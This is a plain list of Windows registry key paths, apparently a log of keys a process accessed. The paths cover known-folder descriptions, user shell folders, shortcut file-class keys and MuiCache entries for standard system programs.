HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\InitFolderHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\InitFolderHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\AllowFileCLSIDJunctions
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.lnk\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\shellex\IconHandler\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.lnk\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.lnk\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.lnk\Content Type
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\CLSID\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.lnk\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\NeverShowExt
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MUI\StringCacheSettings\StringCacheGeneration
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\ie4uinit.exe,-735
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\ie4uinit.exe,-734
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\AccessibilityCpl.dll,-10
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\ie4uinit.exe,-737
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\InitFolderHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Programs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuSubFolders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Start Menu
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\sud.dll,-1
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\wucltux.dll,-1
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\ehome\ehres.dll,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Windows Sidebar\sidebar.exe,-1005
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\WindowsAnytimeUpgradeUI.exe,-1
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\DVD Maker\DVDMaker.exe,-61403
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\FXSRESM.dll,-114
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\unregmp2.exe,-4
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\XpsRchVw.exe,-102
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\displayswitch.exe,-320
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Common Files\Microsoft Shared\Ink\mip.exe,-291
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\mblctr.exe,-1008
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\NetProjW.dll,-501
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\mstsc.exe,-4000
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\SnippingTool.exe,-15051
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\SoundRecorder.exe,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\SNTSearch.dll,-505
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\SyncCenter.dll,-3000
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\OobeFldr.dll,-33056
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\Speech\SpeechUX\sapi.cpl,-5555
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\dfrgui.exe,-103
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\wdc.dll,-10030
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\msinfo32.exe,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\rstrui.exe,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\miguiresource.dll,-201
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\migwiz\wet.dll,-591
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\migwiz\wet.dll,-588
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Common Files\Microsoft Shared\Ink\ShapeCollector.exe,-298
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Common Files\Microsoft Shared\Ink\TipTsf.dll,-80
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Windows Journal\Journal.exe,-3074
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe,-102
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe,-101
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\comres.dll,-3410
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\mycomput.dll,-300
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\odbcint.dll,-1310
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\miguiresource.dll,-101
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\iscsicpl.dll,-5001
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\MdSched.exe,-4001
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\wdc.dll,-10021
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\pmcsnap.dll,-700
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\wsecedit.dll,-718
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\filemgmt.dll,-2204
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\msconfig.exe,-126
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\AuthFWGP.dll,-20
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\gameux.dll,-10082
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\sdcpl.dll,-101
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\recdisc.exe,-2000
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\msra.exe,-100
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Programs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Desktop
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Description
